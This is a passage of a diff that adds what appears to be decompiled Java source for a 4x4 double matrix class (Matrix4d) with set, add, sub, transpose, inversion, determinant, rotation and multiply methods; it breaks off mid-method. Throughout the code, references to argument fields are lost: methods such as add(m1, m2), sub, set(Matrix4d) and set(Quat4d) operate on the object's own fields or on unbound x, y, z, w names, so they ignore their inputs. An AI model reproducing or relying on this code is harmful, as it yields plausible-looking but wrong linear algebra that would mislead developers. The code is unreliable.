+      m33 = w;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d7"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setColumn(int column, Vector4d v)
+  {
+    switch (column) {
+    case 0: 
+      m00 = x;
+      m10 = y;
+      m20 = z;
+      m30 = w;
+      break;
+    
+    case 1: 
+      m01 = x;
+      m11 = y;
+      m21 = z;
+      m31 = w;
+      break;
+    
+    case 2: 
+      m02 = x;
+      m12 = y;
+      m22 = z;
+      m32 = w;
+      break;
+    
+    case 3: 
+      m03 = x;
+      m13 = y;
+      m23 = z;
+      m33 = w;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d7"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setColumn(int column, double[] v)
+  {
+    switch (column) {
+    case 0: 
+      m00 = v[0];
+      m10 = v[1];
+      m20 = v[2];
+      m30 = v[3];
+      break;
+    
+    case 1: 
+      m01 = v[0];
+      m11 = v[1];
+      m21 = v[2];
+      m31 = v[3];
+      break;
+    
+    case 2: 
+      m02 = v[0];
+      m12 = v[1];
+      m22 = v[2];
+      m32 = v[3];
+      break;
+    
+    case 3: 
+      m03 = v[0];
+      m13 = v[1];
+      m23 = v[2];
+      m33 = v[3];
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d7"));
+    }
+    
+  }
+  
+
+
+
+  public final void add(double scalar)
+  {
+    m00 += scalar;
+    m01 += scalar;
+    m02 += scalar;
+    m03 += scalar;
+    m10 += scalar;
+    m11 += scalar;
+    m12 += scalar;
+    m13 += scalar;
+    m20 += scalar;
+    m21 += scalar;
+    m22 += scalar;
+    m23 += scalar;
+    m30 += scalar;
+    m31 += scalar;
+    m32 += scalar;
+    m33 += scalar;
+  }
+  
+
+
+
+
+
+
+  public final void add(double scalar, Matrix4d m1)
+  {
+    m00 += scalar;
+    m01 += scalar;
+    m02 += scalar;
+    m03 += scalar;
+    m10 += scalar;
+    m11 += scalar;
+    m12 += scalar;
+    m13 += scalar;
+    m20 += scalar;
+    m21 += scalar;
+    m22 += scalar;
+    m23 += scalar;
+    m30 += scalar;
+    m31 += scalar;
+    m32 += scalar;
+    m33 += scalar;
+  }
+  
+
+
+
+
+
+  public final void add(Matrix4d m1, Matrix4d m2)
+  {
+    m00 += m00;
+    m01 += m01;
+    m02 += m02;
+    m03 += m03;
+    
+    m10 += m10;
+    m11 += m11;
+    m12 += m12;
+    m13 += m13;
+    
+    m20 += m20;
+    m21 += m21;
+    m22 += m22;
+    m23 += m23;
+    
+    m30 += m30;
+    m31 += m31;
+    m32 += m32;
+    m33 += m33;
+  }
+  
+
+
+
+
+  public final void add(Matrix4d m1)
+  {
+    m00 += m00;
+    m01 += m01;
+    m02 += m02;
+    m03 += m03;
+    
+    m10 += m10;
+    m11 += m11;
+    m12 += m12;
+    m13 += m13;
+    
+    m20 += m20;
+    m21 += m21;
+    m22 += m22;
+    m23 += m23;
+    
+    m30 += m30;
+    m31 += m31;
+    m32 += m32;
+    m33 += m33;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Matrix4d m1, Matrix4d m2)
+  {
+    m00 -= m00;
+    m01 -= m01;
+    m02 -= m02;
+    m03 -= m03;
+    
+    m10 -= m10;
+    m11 -= m11;
+    m12 -= m12;
+    m13 -= m13;
+    
+    m20 -= m20;
+    m21 -= m21;
+    m22 -= m22;
+    m23 -= m23;
+    
+    m30 -= m30;
+    m31 -= m31;
+    m32 -= m32;
+    m33 -= m33;
+  }
+  
+
+
+
+
+
+
+  public final void sub(Matrix4d m1)
+  {
+    m00 -= m00;
+    m01 -= m01;
+    m02 -= m02;
+    m03 -= m03;
+    
+    m10 -= m10;
+    m11 -= m11;
+    m12 -= m12;
+    m13 -= m13;
+    
+    m20 -= m20;
+    m21 -= m21;
+    m22 -= m22;
+    m23 -= m23;
+    
+    m30 -= m30;
+    m31 -= m31;
+    m32 -= m32;
+    m33 -= m33;
+  }
+  
+
+
+
+
+
+  public final void transpose()
+  {
+    double temp = m10;
+    m10 = m01;
+    m01 = temp;
+    
+    temp = m20;
+    m20 = m02;
+    m02 = temp;
+    
+    temp = m30;
+    m30 = m03;
+    m03 = temp;
+    
+    temp = m21;
+    m21 = m12;
+    m12 = temp;
+    
+    temp = m31;
+    m31 = m13;
+    m13 = temp;
+    
+    temp = m32;
+    m32 = m23;
+    m23 = temp;
+  }
+  
+
+
+
+
+  public final void transpose(Matrix4d m1)
+  {
+    if (this != m1) {
+      m00 = m00;
+      m01 = m10;
+      m02 = m20;
+      m03 = m30;
+      
+      m10 = m01;
+      m11 = m11;
+      m12 = m21;
+      m13 = m31;
+      
+      m20 = m02;
+      m21 = m12;
+      m22 = m22;
+      m23 = m32;
+      
+      m30 = m03;
+      m31 = m13;
+      m32 = m23;
+      m33 = m33;
+    } else {
+      transpose();
+    }
+  }
+  
+
+
+
+
+
+  public final void set(double[] m)
+  {
+    m00 = m[0];
+    m01 = m[1];
+    m02 = m[2];
+    m03 = m[3];
+    m10 = m[4];
+    m11 = m[5];
+    m12 = m[6];
+    m13 = m[7];
+    m20 = m[8];
+    m21 = m[9];
+    m22 = m[10];
+    m23 = m[11];
+    m30 = m[12];
+    m31 = m[13];
+    m32 = m[14];
+    m33 = m[15];
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Matrix3f m1)
+  {
+    m00 = m00;m01 = m01;m02 = m02;m03 = 0.0D;
+    m10 = m10;m11 = m11;m12 = m12;m13 = 0.0D;
+    m20 = m20;m21 = m21;m22 = m22;m23 = 0.0D;
+    m30 = 0.0D;m31 = 0.0D;m32 = 0.0D;m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Matrix3d m1)
+  {
+    m00 = m00;m01 = m01;m02 = m02;m03 = 0.0D;
+    m10 = m10;m11 = m11;m12 = m12;m13 = 0.0D;
+    m20 = m20;m21 = m21;m22 = m22;m23 = 0.0D;
+    m30 = 0.0D;m31 = 0.0D;m32 = 0.0D;m33 = 1.0D;
+  }
+  
+
+
+
+
+
+  public final void set(Quat4d q1)
+  {
+    m00 = (1.0D - 2.0D * y * y - 2.0D * z * z);
+    m10 = (2.0D * (x * y + w * z));
+    m20 = (2.0D * (x * z - w * y));
+    
+    m01 = (2.0D * (x * y - w * z));
+    m11 = (1.0D - 2.0D * x * x - 2.0D * z * z);
+    m21 = (2.0D * (y * z + w * x));
+    
+    m02 = (2.0D * (x * z + w * y));
+    m12 = (2.0D * (y * z - w * x));
+    m22 = (1.0D - 2.0D * x * x - 2.0D * y * y);
+    
+    m03 = 0.0D;
+    m13 = 0.0D;
+    m23 = 0.0D;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+  public final void set(AxisAngle4d a1)
+  {
+    double mag = Math.sqrt(x * x + y * y + z * z);
+    
+    if (mag < 1.0E-10D) {
+      m00 = 1.0D;
+      m01 = 0.0D;
+      m02 = 0.0D;
+      
+      m10 = 0.0D;
+      m11 = 1.0D;
+      m12 = 0.0D;
+      
+      m20 = 0.0D;
+      m21 = 0.0D;
+      m22 = 1.0D;
+    } else {
+      mag = 1.0D / mag;
+      double ax = x * mag;
+      double ay = y * mag;
+      double az = z * mag;
+      
+      double sinTheta = Math.sin(angle);
+      double cosTheta = Math.cos(angle);
+      double t = 1.0D - cosTheta;
+      
+      double xz = ax * az;
+      double xy = ax * ay;
+      double yz = ay * az;
+      
+      m00 = (t * ax * ax + cosTheta);
+      m01 = (t * xy - sinTheta * az);
+      m02 = (t * xz + sinTheta * ay);
+      
+      m10 = (t * xy + sinTheta * az);
+      m11 = (t * ay * ay + cosTheta);
+      m12 = (t * yz - sinTheta * ax);
+      
+      m20 = (t * xz - sinTheta * ay);
+      m21 = (t * yz + sinTheta * ax);
+      m22 = (t * az * az + cosTheta);
+    }
+    
+    m03 = 0.0D;
+    m13 = 0.0D;
+    m23 = 0.0D;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+  public final void set(Quat4f q1)
+  {
+    m00 = (1.0D - 2.0D * y * y - 2.0D * z * z);
+    m10 = (2.0D * (x * y + w * z));
+    m20 = (2.0D * (x * z - w * y));
+    
+    m01 = (2.0D * (x * y - w * z));
+    m11 = (1.0D - 2.0D * x * x - 2.0D * z * z);
+    m21 = (2.0D * (y * z + w * x));
+    
+    m02 = (2.0D * (x * z + w * y));
+    m12 = (2.0D * (y * z - w * x));
+    m22 = (1.0D - 2.0D * x * x - 2.0D * y * y);
+    
+    m03 = 0.0D;
+    m13 = 0.0D;
+    m23 = 0.0D;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+  public final void set(AxisAngle4f a1)
+  {
+    double mag = Math.sqrt(x * x + y * y + z * z);
+    
+    if (mag < 1.0E-10D) {
+      m00 = 1.0D;
+      m01 = 0.0D;
+      m02 = 0.0D;
+      
+      m10 = 0.0D;
+      m11 = 1.0D;
+      m12 = 0.0D;
+      
+      m20 = 0.0D;
+      m21 = 0.0D;
+      m22 = 1.0D;
+    } else {
+      mag = 1.0D / mag;
+      double ax = x * mag;
+      double ay = y * mag;
+      double az = z * mag;
+      
+      double sinTheta = Math.sin(angle);
+      double cosTheta = Math.cos(angle);
+      double t = 1.0D - cosTheta;
+      
+      double xz = ax * az;
+      double xy = ax * ay;
+      double yz = ay * az;
+      
+      m00 = (t * ax * ax + cosTheta);
+      m01 = (t * xy - sinTheta * az);
+      m02 = (t * xz + sinTheta * ay);
+      
+      m10 = (t * xy + sinTheta * az);
+      m11 = (t * ay * ay + cosTheta);
+      m12 = (t * yz - sinTheta * ax);
+      
+      m20 = (t * xz - sinTheta * ay);
+      m21 = (t * yz + sinTheta * ax);
+      m22 = (t * az * az + cosTheta);
+    }
+    m03 = 0.0D;
+    m13 = 0.0D;
+    m23 = 0.0D;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Quat4d q1, Vector3d t1, double s)
+  {
+    m00 = (s * (1.0D - 2.0D * y * y - 2.0D * z * z));
+    m10 = (s * (2.0D * (x * y + w * z)));
+    m20 = (s * (2.0D * (x * z - w * y)));
+    
+    m01 = (s * (2.0D * (x * y - w * z)));
+    m11 = (s * (1.0D - 2.0D * x * x - 2.0D * z * z));
+    m21 = (s * (2.0D * (y * z + w * x)));
+    
+    m02 = (s * (2.0D * (x * z + w * y)));
+    m12 = (s * (2.0D * (y * z - w * x)));
+    m22 = (s * (1.0D - 2.0D * x * x - 2.0D * y * y));
+    
+    m03 = x;
+    m13 = y;
+    m23 = z;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Quat4f q1, Vector3d t1, double s)
+  {
+    m00 = (s * (1.0D - 2.0D * y * y - 2.0D * z * z));
+    m10 = (s * (2.0D * (x * y + w * z)));
+    m20 = (s * (2.0D * (x * z - w * y)));
+    
+    m01 = (s * (2.0D * (x * y - w * z)));
+    m11 = (s * (1.0D - 2.0D * x * x - 2.0D * z * z));
+    m21 = (s * (2.0D * (y * z + w * x)));
+    
+    m02 = (s * (2.0D * (x * z + w * y)));
+    m12 = (s * (2.0D * (y * z - w * x)));
+    m22 = (s * (1.0D - 2.0D * x * x - 2.0D * y * y));
+    
+    m03 = x;
+    m13 = y;
+    m23 = z;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Quat4f q1, Vector3f t1, float s)
+  {
+    m00 = (s * (1.0D - 2.0D * y * y - 2.0D * z * z));
+    m10 = (s * (2.0D * (x * y + w * z)));
+    m20 = (s * (2.0D * (x * z - w * y)));
+    
+    m01 = (s * (2.0D * (x * y - w * z)));
+    m11 = (s * (1.0D - 2.0D * x * x - 2.0D * z * z));
+    m21 = (s * (2.0D * (y * z + w * x)));
+    
+    m02 = (s * (2.0D * (x * z + w * y)));
+    m12 = (s * (2.0D * (y * z - w * x)));
+    m22 = (s * (1.0D - 2.0D * x * x - 2.0D * y * y));
+    
+    m03 = x;
+    m13 = y;
+    m23 = z;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+  public final void set(Matrix4f m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    m03 = m03;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    m13 = m13;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+    m23 = m23;
+    
+    m30 = m30;
+    m31 = m31;
+    m32 = m32;
+    m33 = m33;
+  }
+  
+
+
+
+
+
+  public final void set(Matrix4d m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    m03 = m03;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    m13 = m13;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+    m23 = m23;
+    
+    m30 = m30;
+    m31 = m31;
+    m32 = m32;
+    m33 = m33;
+  }
+  
+
+
+
+
+
+
+  public final void invert(Matrix4d m1)
+  {
+    invertGeneral(m1);
+  }
+  
+
+
+
+  public final void invert()
+  {
+    invertGeneral(this);
+  }
+  
+
+
+
+
+
+
+
+  final void invertGeneral(Matrix4d m1)
+  {
+    double[] result = new double[16];
+    int[] row_perm = new int[4];
+    
+
+
+
+    double[] tmp = new double[16];
+    
+    tmp[0] = m00;
+    tmp[1] = m01;
+    tmp[2] = m02;
+    tmp[3] = m03;
+    
+    tmp[4] = m10;
+    tmp[5] = m11;
+    tmp[6] = m12;
+    tmp[7] = m13;
+    
+    tmp[8] = m20;
+    tmp[9] = m21;
+    tmp[10] = m22;
+    tmp[11] = m23;
+    
+    tmp[12] = m30;
+    tmp[13] = m31;
+    tmp[14] = m32;
+    tmp[15] = m33;
+    
+
+    if (!luDecomposition(tmp, row_perm))
+    {
+      throw new SingularMatrixException(VecMathI18N.getString("Matrix4d10"));
+    }
+    
+
+    for (int i = 0; i < 16; i++) result[i] = 0.0D;
+    result[0] = 1.0D;result[5] = 1.0D;result[10] = 1.0D;result[15] = 1.0D;
+    luBacksubstitution(tmp, row_perm, result);
+    
+    m00 = result[0];
+    m01 = result[1];
+    m02 = result[2];
+    m03 = result[3];
+    
+    m10 = result[4];
+    m11 = result[5];
+    m12 = result[6];
+    m13 = result[7];
+    
+    m20 = result[8];
+    m21 = result[9];
+    m22 = result[10];
+    m23 = result[11];
+    
+    m30 = result[12];
+    m31 = result[13];
+    m32 = result[14];
+    m33 = result[15];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static boolean luDecomposition(double[] matrix0, int[] row_perm)
+  {
+    double[] row_scale = new double[4];
+    
+
+
+
+
+
+
+    int ptr = 0;
+    int rs = 0;
+    
+
+    int i = 4;
+    while (i-- != 0) {
+      double big = 0.0D;
+      
+
+      int j = 4;
+      while (j-- != 0) {
+        double temp = matrix0[(ptr++)];
+        temp = Math.abs(temp);
+        if (temp > big) {
+          big = temp;
+        }
+      }
+      
+
+      if (big == 0.0D) {
+        return false;
+      }
+      row_scale[(rs++)] = (1.0D / big);
+    }
+    
+
+
+
+
+
+    int mtx = 0;
+    
+
+    for (int j = 0; j < 4; j++)
+    {
+
+
+
+
+      for (int i = 0; i < j; i++) {
+        int target = mtx + 4 * i + j;
+        double sum = matrix0[target];
+        int k = i;
+        int p1 = mtx + 4 * i;
+        int p2 = mtx + j;
+        while (k-- != 0) {
+          sum -= matrix0[p1] * matrix0[p2];
+          p1++;
+          p2 += 4;
+        }
+        matrix0[target] = sum;
+      }
+      
+
+
+      double big = 0.0D;
+      int imax = -1;
+      for (i = j; i < 4; i++) {
+        int target = mtx + 4 * i + j;
+        double sum = matrix0[target];
+        int k = j;
+        int p1 = mtx + 4 * i;
+        int p2 = mtx + j;
+        while (k-- != 0) {
+          sum -= matrix0[p1] * matrix0[p2];
+          p1++;
+          p2 += 4;
+        }
+        matrix0[target] = sum;
+        
+        double temp;
+        if ((temp = row_scale[i] * Math.abs(sum)) >= big) {
+          big = temp;
+          imax = i;
+        }
+      }
+      
+      if (imax < 0) {
+        throw new RuntimeException(VecMathI18N.getString("Matrix4d11"));
+      }
+      
+
+      if (j != imax)
+      {
+        int k = 4;
+        int p1 = mtx + 4 * imax;
+        int p2 = mtx + 4 * j;
+        while (k-- != 0) {
+          double temp = matrix0[p1];
+          matrix0[(p1++)] = matrix0[p2];
+          matrix0[(p2++)] = temp;
+        }
+        
+
+        row_scale[imax] = row_scale[j];
+      }
+      
+
+      row_perm[j] = imax;
+      
+
+      if (matrix0[(mtx + 4 * j + j)] == 0.0D) {
+        return false;
+      }
+      
+
+      if (j != 3) {
+        double temp = 1.0D / matrix0[(mtx + 4 * j + j)];
+        int target = mtx + 4 * (j + 1) + j;
+        i = 3 - j;
+        while (i-- != 0) {
+          matrix0[target] *= temp;
+          target += 4;
+        }
+      }
+    }
+    
+
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static void luBacksubstitution(double[] matrix1, int[] row_perm, double[] matrix2)
+  {
+    int rp = 0;
+    
+
+    for (int k = 0; k < 4; k++)
+    {
+      int cv = k;
+      int ii = -1;
+      
+
+      for (int i = 0; i < 4; i++)
+      {
+
+        int ip = row_perm[(rp + i)];
+        double sum = matrix2[(cv + 4 * ip)];
+        matrix2[(cv + 4 * ip)] = matrix2[(cv + 4 * i)];
+        if (ii >= 0)
+        {
+          int rv = i * 4;
+          for (int j = ii; j <= i - 1; j++) {
+            sum -= matrix1[(rv + j)] * matrix2[(cv + 4 * j)];
+          }
+        }
+        if (sum != 0.0D) {
+          ii = i;
+        }
+        matrix2[(cv + 4 * i)] = sum;
+      }
+      
+
+
+      int rv = 12;
+      matrix2[(cv + 12)] /= matrix1[(rv + 3)];
+      
+      rv -= 4;
+      matrix2[(cv + 8)] = ((matrix2[(cv + 8)] - matrix1[(rv + 3)] * matrix2[(cv + 12)]) / matrix1[(rv + 2)]);
+      
+
+      rv -= 4;
+      matrix2[(cv + 4)] = ((matrix2[(cv + 4)] - matrix1[(rv + 2)] * matrix2[(cv + 8)] - matrix1[(rv + 3)] * matrix2[(cv + 12)]) / matrix1[(rv + 1)]);
+      
+
+
+      rv -= 4;
+      matrix2[(cv + 0)] = ((matrix2[(cv + 0)] - matrix1[(rv + 1)] * matrix2[(cv + 4)] - matrix1[(rv + 2)] * matrix2[(cv + 8)] - matrix1[(rv + 3)] * matrix2[(cv + 12)]) / matrix1[(rv + 0)]);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final double determinant()
+  {
+    double det = m00 * (m11 * m22 * m33 + m12 * m23 * m31 + m13 * m21 * m32 - m13 * m22 * m31 - m11 * m23 * m32 - m12 * m21 * m33);
+    
+    det -= m01 * (m10 * m22 * m33 + m12 * m23 * m30 + m13 * m20 * m32 - m13 * m22 * m30 - m10 * m23 * m32 - m12 * m20 * m33);
+    
+    det += m02 * (m10 * m21 * m33 + m11 * m23 * m30 + m13 * m20 * m31 - m13 * m21 * m30 - m10 * m23 * m31 - m11 * m20 * m33);
+    
+    det -= m03 * (m10 * m21 * m32 + m11 * m22 * m30 + m12 * m20 * m31 - m12 * m21 * m30 - m10 * m22 * m31 - m11 * m20 * m32);
+    
+
+    return det;
+  }
+  
+
+
+
+
+
+  public final void set(double scale)
+  {
+    m00 = scale;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    m03 = 0.0D;
+    
+    m10 = 0.0D;
+    m11 = scale;
+    m12 = 0.0D;
+    m13 = 0.0D;
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = scale;
+    m23 = 0.0D;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+  public final void set(Vector3d v1)
+  {
+    m00 = 1.0D;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    m03 = x;
+    
+    m10 = 0.0D;
+    m11 = 1.0D;
+    m12 = 0.0D;
+    m13 = y;
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = 1.0D;
+    m23 = z;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(double scale, Vector3d v1)
+  {
+    m00 = scale;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    m03 = x;
+    
+    m10 = 0.0D;
+    m11 = scale;
+    m12 = 0.0D;
+    m13 = y;
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = scale;
+    m23 = z;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Vector3d v1, double scale)
+  {
+    m00 = scale;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    m03 = (scale * x);
+    
+    m10 = 0.0D;
+    m11 = scale;
+    m12 = 0.0D;
+    m13 = (scale * y);
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = scale;
+    m23 = (scale * z);
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void set(Matrix3f m1, Vector3f t1, float scale)
+  {
+    m00 = (m00 * scale);
+    m01 = (m01 * scale);
+    m02 = (m02 * scale);
+    m03 = x;
+    
+    m10 = (m10 * scale);
+    m11 = (m11 * scale);
+    m12 = (m12 * scale);
+    m13 = y;
+    
+    m20 = (m20 * scale);
+    m21 = (m21 * scale);
+    m22 = (m22 * scale);
+    m23 = z;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void set(Matrix3d m1, Vector3d t1, double scale)
+  {
+    m00 = (m00 * scale);
+    m01 = (m01 * scale);
+    m02 = (m02 * scale);
+    m03 = x;
+    
+    m10 = (m10 * scale);
+    m11 = (m11 * scale);
+    m12 = (m12 * scale);
+    m13 = y;
+    
+    m20 = (m20 * scale);
+    m21 = (m21 * scale);
+    m22 = (m22 * scale);
+    m23 = z;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+  public final void setTranslation(Vector3d trans)
+  {
+    m03 = x;
+    m13 = y;
+    m23 = z;
+  }
+  
+
+
+
+
+
+
+
+  public final void rotX(double angle)
+  {
+    double sinAngle = Math.sin(angle);
+    double cosAngle = Math.cos(angle);
+    
+    m00 = 1.0D;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    m03 = 0.0D;
+    
+    m10 = 0.0D;
+    m11 = cosAngle;
+    m12 = (-sinAngle);
+    m13 = 0.0D;
+    
+    m20 = 0.0D;
+    m21 = sinAngle;
+    m22 = cosAngle;
+    m23 = 0.0D;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+  public final void rotY(double angle)
+  {
+    double sinAngle = Math.sin(angle);
+    double cosAngle = Math.cos(angle);
+    
+    m00 = cosAngle;
+    m01 = 0.0D;
+    m02 = sinAngle;
+    m03 = 0.0D;
+    
+    m10 = 0.0D;
+    m11 = 1.0D;
+    m12 = 0.0D;
+    m13 = 0.0D;
+    
+    m20 = (-sinAngle);
+    m21 = 0.0D;
+    m22 = cosAngle;
+    m23 = 0.0D;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+  public final void rotZ(double angle)
+  {
+    double sinAngle = Math.sin(angle);
+    double cosAngle = Math.cos(angle);
+    
+    m00 = cosAngle;
+    m01 = (-sinAngle);
+    m02 = 0.0D;
+    m03 = 0.0D;
+    
+    m10 = sinAngle;
+    m11 = cosAngle;
+    m12 = 0.0D;
+    m13 = 0.0D;
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = 1.0D;
+    m23 = 0.0D;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+  public final void mul(double scalar)
+  {
+    m00 *= scalar;
+    m01 *= scalar;
+    m02 *= scalar;
+    m03 *= scalar;
+    m10 *= scalar;
+    m11 *= scalar;
+    m12 *= scalar;
+    m13 *= scalar;
+    m20 *= scalar;
+    m21 *= scalar;
+    m22 *= scalar;
+    m23 *= scalar;
+    m30 *= scalar;
+    m31 *= scalar;
+    m32 *= scalar;
+    m33 *= scalar;
+  }
+  
+
+
+
+
+
+
+  public final void mul(double scalar, Matrix4d m1)
+  {
+    m00 *= scalar;
+    m01 *= scalar;
+    m02 *= scalar;
+    m03 *= scalar;
+    m10 *= scalar;
+    m11 *= scalar;
+    m12 *= scalar;
+    m13 *= scalar;
+    m20 *= scalar;
+    m21 *= scalar;
+    m22 *= scalar;
+    m23 *= scalar;
+    m30 *= scalar;
+    m31 *= scalar;
+    m32 *= scalar;
+    m33 *= scalar;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void mul(Matrix4d m1)
+  {
+    double m00 = this.m00 * m00 + this.m01 * m10 + this.m02 * m20 + this.m03 * m30;
+    
+    double m01 = this.m00 * m01 + this.m01 * m11 + this.m02 * m21 + this.m03 * m31;
+    
+    double m02 = this.m00 * m02 + this.m01 * m12 + this.m02 * m22 + this.m03 * m32;
+    
+    double m03 = this.m00 * m03 + this.m01 * m13 + this.m02 * m23 + this.m03 * m33;
+    
+
+    double m10 = this.m10 * m00 + this.m11 * m10 + this.m12 * m20 + this.m13 * m30;
+    
+    double m11 = this.m10 * m01 + this.m11 * m11 + this.m12 * m21 + this.m13 * m31;
+    
+    double m12 = this.m10 * m02 + this.m11 * m12 + this.m12 * m22 + this.m13 * m32;
+    
+    double m13 = this.m10 * m03 + this.m11 * m13 + this.m12 * m23 + this.m13 * m33;
+    
+
+    double m20 = this.m20 * m00 + this.m21 * m10 + this.m22 * m20 + this.m23 * m30;
+    
+    double m21 = this.m20 * m01 + this.m21 * m11 + this.m22 * m21 + this.m23 * m31;
+    
+    double m22 = this.m20 * m02 + this.m21 * m12 + this.m22 * m22 + this.m23 * m32;
+    
+    double m23 = this.m20 * m03 + this.m21 * m13 + this.m22 * m23 + this.m23 * m33;
+    
+
+    double m30 = this.m30 * m00 + this.m31 * m10 + this.m32 * m20 + this.m33 * m30;
+    
+    double m31 = this.m30 * m01 + this.m31 * m11 + this.m32 * m21 + this.m33 * m31;
+    
+    double m32 = this.m30 * m02 + this.m31 * m12 + this.m32 * m22 + this.m33 * m32;
+    
+    double m33 = this.m30 * m03 + this.m31 * m13 + this.m32 * m23 + this.m33 * m33;
+    
+
+    this.m00 = m00;this.m01 = m01;this.m02 = m02;this.m03 = m03;
+    this.m10 = m10;this.m11 = m11;this.m12 = m12;this.m13 = m13;
+    this.m20 = m20;this.m21 = m21;this.m22 = m22;this.m23 = m23;
+    this.m30 = m30;this.m31 = m31;this.m32 = m32;this.m33 = m33;
+  }
+  
+
+
+
+
+
+
+  public final void mul(Matrix4d m1, Matrix4d m2)
+  {
+    if ((this != m1) && (this != m2))
+    {
+      this.m00 = (m00 * m00 + m01 * m10 + m02 * m20 + m03 * m30);
+      
+      this.m01 = (m00 * m01 + m01 * m11 + m02 * m21 + m03 * m31);
+      
+      this.m02 = (m00 * m02 + m01 * m12 + m02 * m22 + m03 * m32);
+      
+      this.m03 = (m00 * m03 + m01 * m13 + m02 * m23 + m03 * m33);
+      
+
+      this.m10 = (m10 * m00 + m11 * m10 + m12 * m20 + m13 * m30);
+      
+      this.m11 = (m10 * m01 + m11 * m11 + m12 * m21 + m13 * m31);
+      
+      this.m12 = (m10 * m02 + m11 * m12 + m12 * m22 + m13 * m32);
+      
+      this.m13 = (m10 * m03 + m11 * m13 + m12 * m23 + m13 * m33);
+      
+
+      this.m20 = (m20 * m00 + m21 * m10 + m22 * m20 + m23 * m30);
+      
+      this.m21 = (m20 * m01 + m21 * m11 + m22 * m21 + m23 * m31);
+      
+      this.m22 = (m20 * m02 + m21 * m12 + m22 * m22 + m23 * m32);
+      
+      this.m23 = (m20 * m03 + m21 * m13 + m22 * m23 + m23 * m33);
+      
+
+      this.m30 = (m30 * m00 + m31 * m10 + m32 * m20 + m33 * m30);
+      
+      this.m31 = (m30 * m01 + m31 * m11 + m32 * m21 + m33 * m31);
+      
+      this.m32 = (m30 * m02 + m31 * m12 + m32 * m22 + m33 * m32);
+      
+      this.m33 = (m30 * m03 + m31 * m13 + m32 * m23 + m33 * m33);
+
+
+
+    }
+    else
+    {
+
+
+      double m00 = m00 * m00 + m01 * m10 + m02 * m20 + m03 * m30;
+      double m01 = m00 * m01 + m01 * m11 + m02 * m21 + m03 * m31;
+      double m02 = m00 * m02 + m01 * m12 + m02 * m22 + m03 * m32;
+      double m03 = m00 * m03 + m01 * m13 + m02 * m23 + m03 * m33;
+      
+      double m10 = m10 * m00 + m11 * m10 + m12 * m20 + m13 * m30;
